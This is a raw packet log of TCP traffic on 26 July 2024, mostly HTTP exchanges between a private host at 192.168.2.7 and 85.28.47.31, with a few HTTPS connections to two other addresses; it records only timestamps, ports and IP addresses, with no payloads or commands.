Jul 26, 2024 08:57:56.278414011 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278423071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278433084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278717995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278728962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278738976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278748989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278759003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278769016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278779030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278789043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.278799057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.279022932 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.279047966 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.279072046 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.279084921 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.304384947 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.304397106 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.351929903 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:56.355021954 CEST	49764	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:56.355021954 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.355680943 CEST	49764	443	192.168.2.7	162.159.61.3
Jul 26, 2024 08:57:56.355707884 CEST	443	49764	162.159.61.3	192.168.2.7
Jul 26, 2024 08:57:56.366821051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.366837025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.366900921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.366910934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367038012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367049932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367059946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367069960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367079973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367177010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367187977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367197990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367208004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367218018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367261887 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367273092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367281914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367291927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367301941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367312908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367736101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367747068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367959023 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367970943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367980957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.367991924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368002892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368032932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368043900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368228912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368238926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368355989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368367910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368377924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368388891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368398905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368408918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368418932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368428946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368438959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368449926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368861914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368894100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368905067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368916035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368928909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368940115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368949890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368961096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368972063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368982077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.368992090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369003057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369019032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369029999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369040966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369050980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369062901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369072914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369082928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369093895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369812965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369829893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369839907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369851112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369860888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369895935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369906902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369915962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369925976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369935989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369946003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369956017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369966030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.369976044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370018959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370028973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370040894 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370438099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370454073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370475054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370511055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370659113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370668888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370678902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370688915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370697975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370708942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370718002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370729923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370767117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370784998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370795012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370805025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370815039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370825052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370835066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370846033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370856047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370865107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370874882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370884895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370894909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.370906115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.371298075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.371309042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.371319056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.371329069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.371337891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.371347904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.371356964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.371597052 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371644974 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371670961 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371706009 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371723890 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371750116 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371784925 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371799946 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.371814013 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.371822119 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371848106 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371876955 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371881008 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.371892929 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.371923923 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.372020960 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.376658916 CEST	49766	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.376667023 CEST	443	49766	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.391777039 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.391861916 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.392633915 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.409919977 CEST	49765	443	192.168.2.7	172.64.41.3
Jul 26, 2024 08:57:56.409933090 CEST	443	49765	172.64.41.3	192.168.2.7
Jul 26, 2024 08:57:56.457048893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457075119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457087994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457098007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457170963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457180977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457187891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457195997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457282066 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457293034 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457304001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457386971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457397938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457407951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457418919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457525969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457535982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457608938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457619905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457629919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457639933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457648993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457659006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457701921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457711935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457721949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457731962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457824945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457835913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457845926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457855940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457865953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457922935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457932949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457942963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457952023 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.457962036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458134890 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458144903 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458154917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458164930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458174944 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458184958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458195925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458307981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458317995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458327055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458384037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458394051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458405018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458523035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458533049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458543062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458554029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458657026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458667040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458676100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458698988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458709002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458719969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458729029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458739042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458749056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458759069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458769083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458961010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.458997965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459008932 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459018946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459028959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459038973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459048986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459291935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459302902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459314108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459323883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459333897 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459345102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459424973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459435940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459446907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459498882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459510088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459520102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459530115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459538937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459698915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459707975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459731102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459741116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459750891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459759951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459772110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459781885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459790945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459804058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459815025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459973097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459985018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.459995031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460004091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460014105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460334063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460344076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460354090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460362911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460372925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460383892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460392952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460402966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460412979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460422039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460432053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.460441113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.467902899 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.470084906 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.471143007 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.476181030 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.491353989 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.500797987 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.504940033 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.504966021 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.504992008 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.505014896 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.505043030 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.505070925 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.549947977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.549983025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550035954 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550098896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550108910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550118923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550215006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550225019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550235033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550245047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550261021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550347090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550357103 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550367117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550378084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550388098 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550436974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550447941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550470114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550648928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550659895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550668955 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550678015 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550688982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550709963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550767899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550777912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550787926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550797939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550807953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550817013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.550915956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551063061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551073074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551084042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551094055 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551106930 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551116943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551126003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551136971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551393986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551403999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551414013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551423073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551433086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551441908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551453114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551462889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551533937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551543951 CEST	80	49756	85.28.47.31	192.168.2.7
